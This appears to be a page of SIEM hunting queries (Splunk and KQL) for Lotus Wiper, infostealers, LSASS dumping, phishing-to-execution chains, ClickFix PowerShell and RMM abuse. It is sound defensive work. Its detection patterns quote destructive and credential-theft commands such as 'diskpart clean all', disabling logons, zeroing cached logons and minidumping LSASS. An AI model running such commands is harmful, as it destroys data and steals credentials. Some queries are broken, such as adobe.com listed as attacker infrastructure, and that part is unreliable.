| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes WHERE (Processes.process IN ("*OhSyncNow.bat*","*notesreg.bat*","*OHSync.xml*") OR Processes.process_name IN ("OhSyncNow.bat","notesreg.bat") OR (Processes.process="*UI0Detect*" AND Processes.process IN ("*sc *stop*","*sc *config*disabled*","*Stop-Service*","*Set-Service*disabled*"))) BY Processes.dest Processes.user Processes.process_name Processes.parent_process_name Processes.process | `drop_dm_object_name(Processes)` | append [| tstats summariesonly=t count FROM datamodel=Endpoint.Filesystem WHERE Filesystem.file_name IN ("OhSyncNow.bat","notesreg.bat","OHSync.xml") BY Filesystem.dest Filesystem.user Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)`] | sort - count
Detects the Lotus Wiper loader chain where a renamed binary impersonating an HCL Domino component (nstats.exe) is invoked with the encrypted payload (nevent.exe) and decrypted output (ndesign.exe) as arguments, typically from C:\lotus. Includes the published MD5s as a hash fallback.
Rationale: nstats.exe / nevent.exe / ndesign.exe and the C:\lotus directory are documented in Securelist and BleepingComputer as the Lotus loader trio masquerading as HCL Domino files; the three MD5s are published with the analysis. Anything matching is by definition this campaign.
Cross-checked against:
• https://securelist.com/tr/lotus-wiper/119472/
• https://www.bleepingcomputer.com/news/security/new-lotus-data-wiper-used-against-venezuelan-energy-utility-firms/
ATT&CKT1027.013T1036.005T1485
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
DeviceProcessEvents
| where (FileName =~ "nstats.exe" and ProcessCommandLine has_any ("nevent.exe","ndesign.exe"))
or FolderPath has @"\lotus\"
or InitiatingProcessFolderPath has @"\lotus\"
or ProcessCommandLine has @"C:\lotus\"
or MD5 in~ ("0b83ce69d16f5ecd00f4642deb3c5895","c6d0f67db6a7dbf1f9394d98c1e13670","b41d0cd22d5b3e3bdb795f81421a11cb")
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, MD5, SHA256
| sort by Timestamp desc
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes WHERE ( (Processes.process_name="nstats.exe" AND (Processes.process="*nevent.exe*" OR Processes.process="*ndesign.exe*")) OR Processes.process="*\\lotus\\*" OR Processes.parent_process="*\\lotus\\*" OR Processes.process_hash IN ("0b83ce69d16f5ecd00f4642deb3c5895","c6d0f67db6a7dbf1f9394d98c1e13670","b41d0cd22d5b3e3bdb795f81421a11cb") ) BY Processes.dest Processes.user Processes.process_name Processes.parent_process_name Processes.process Processes.process_hash | `drop_dm_object_name(Processes)` | sort - firstTime
Correlates the unique pre-wipe sequence executed by notesreg.bat: disabling user logons with the hyper-specific 'net user /times:friday,01:00-02:00 /active:no' window, zeroing CachedLogonsCount in Winlogon, disabling network interfaces via netsh, and finally invoking 'diskpart clean all' to overwrite drives. Two or more of these on a single host within an hour is treated as a destructive event.
Rationale: The friday 01:00-02:00 logon window in net user, the literal 'CachedLogonsCount /d 0', the DiskFillerFile fsutil string, and the diskpart 'clean all' chain inside notesreg.bat are quoted verbatim in Kaspersky's Securelist analysis and re-published by BleepingComputer; observing two of these on one host within an hour is essentially Lotus Wiper detonation in progress.
Cross-checked against:
• https://securelist.com/tr/lotus-wiper/119472/
• https://www.bleepingcomputer.com/news/security/new-lotus-data-wiper-used-against-venezuelan-energy-utility-firms/
ATT&CKT1531T1561.001T1561.002T1490T1562.004
Data sourcesEndpoint.ProcessesEndpoint.Registry
let window = 1h;
let prep = DeviceProcessEvents
| where Timestamp > ago(7d)
| where (ProcessCommandLine has "/times:friday,01:00-02:00" and ProcessCommandLine has "/active:no")
or (FileName =~ "diskpart.exe" and ProcessCommandLine has "clean all")
or (FileName =~ "netsh.exe" and ProcessCommandLine has "interface set interface" and ProcessCommandLine has "DISABLE")
or (ProcessCommandLine has "CachedLogonsCount" and ProcessCommandLine has "/d 0")
or (FileName =~ "fsutil.exe" and ProcessCommandLine has "file createnew" and ProcessCommandLine has "DiskFillerFile")
or (FileName =~ "robocopy.exe" and ProcessCommandLine has "/MIR" and ProcessCommandLine has "/B" and ProcessCommandLine has "/r:0" and ProcessCommandLine has "/w:0")
| extend Bucket = bin(Timestamp, window)
| project Timestamp, Bucket, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine;
let reg = DeviceRegistryEvents
| where RegistryKey has @"\Microsoft\Windows NT\CurrentVersion\Winlogon" and RegistryValueName =~ "CachedLogonsCount" and RegistryValueData == "0"
| extend Bucket = bin(Timestamp, window), FileName = "reg.exe", ProcessCommandLine = strcat("reg add Winlogon /v CachedLogonsCount /d 0")
| project Timestamp, Bucket, DeviceName, AccountName=InitiatingProcessAccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine;
union prep, reg
| summarize DistinctTactics = dcount(FileName), Tools = make_set(FileName), CmdLines = make_set(ProcessCommandLine, 50), FirstSeen = min(Timestamp), LastSeen = max(Timestamp) by DeviceName, AccountName, Bucket
| where DistinctTactics >= 2
| sort by LastSeen desc
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes WHERE ( Processes.process="*/times:friday,01:00-02:00*" OR (Processes.process_name="diskpart.exe" AND Processes.process="*clean all*") OR (Processes.process_name="net.exe" AND Processes.process="*/active:no*") OR (Processes.process_name="netsh.exe" AND Processes.process="*interface set interface*" AND Processes.process="*DISABLE*") OR (Processes.process="*CachedLogonsCount*" AND Processes.process="*/d 0*") OR (Processes.process_name="fsutil.exe" AND Processes.process="*file createnew*DiskFillerFile*") OR (Processes.process_name="robocopy.exe" AND Processes.process="*/MIR*/B*/r:0*/w:0*") ) BY _time Processes.dest Processes.user Processes.process_name Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | bin _time span=1h | stats dc(process_name) as distinct_tools values(process_name) as tools values(process) as cmdlines min(firstTime) as firstTime max(lastTime) as lastTime by dest user _time | where distinct_tools >= 2
2026-04-225 use cases4 techniques6 kill-chain phases detected
On January 31, 2026, researchers disclosed that Moltbook, a social network built for AI agents, had left its database wide open, exposing 35,000 email addresses and 1.5 million agent API tokens across 770,000 active agents. The more worrying part sat inside the private messages. Some of those conversations held plaintext third-party credentials, including OpenAI API keys shared between agents,
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002T1528
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
OAuth consent / suspicious app grantActions on ObjectivesHigh
Cloud identity abuse: app gets high-priv scopes, often via consent phishing.
ATT&CKT1528T1098.001
Data sourcesAuthentication.AuthenticationCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where ActionType in ("Consent to application.","Add OAuth2PermissionGrant.","Add delegated permission grant.")
| project Timestamp, AccountObjectId, AccountDisplayName, ActivityType,
ActivityObjects, IPAddress, UserAgent
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Authentication.Authentication
where Authentication.action="success"
AND Authentication.signature IN (
"Consent to application",
"Add app role assignment grant to user",
"Add OAuth2PermissionGrant",
"Add delegated permission grant")
by Authentication.user, Authentication.app, Authentication.src, Authentication.signature
| `drop_dm_object_name(Authentication)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-2218 use cases48 techniques6 kill-chain phases detected
Phishing reemerged as the most observed means of gaining initial access, accounting for over a third of the engagements where initial access could be determined. Phishing has not been the top vertical for initial access since Q2 2025.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] Softr-hosted credential harvesting page mimicking OWA/Exchange login
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — IR Trends Q1 2026: Phishing reemerges as top initial access vector, as attacks t
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Scheduled task created with suspicious image / encoded args · RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · [LLM] MeowBackConn proxy DLL load (meow_*.dll) on Gootloader-infected hosts
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement · Ransomware-style mass file rename / extension change · [LLM] Crimson Collective: TruffleHog secret-scanning followed by Microsoft Graph data exfiltration
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("adobe.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("adobe.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("adobe.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-20393", "CVE-2023-20198")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-20393", "CVE-2023-20198")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Scheduled task created with suspicious image / encoded argsInstallationHigh
schtasks.exe /create or Microsoft-Windows-TaskScheduler EventID 4698 with LOLBin actions.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("powershell","cmd.exe","rundll32","-enc","FromBase64","\Users\Public","\AppData\")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name="schtasks.exe" AND Processes.process="*/create*"
AND (Processes.process="*powershell*" OR Processes.process="*cmd.exe*"
OR Processes.process="*rundll32*" OR Processes.process="*-enc*"
OR Processes.process="*FromBase64*" OR Processes.process="*\Users\Public*"
OR Processes.process="*\AppData\*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
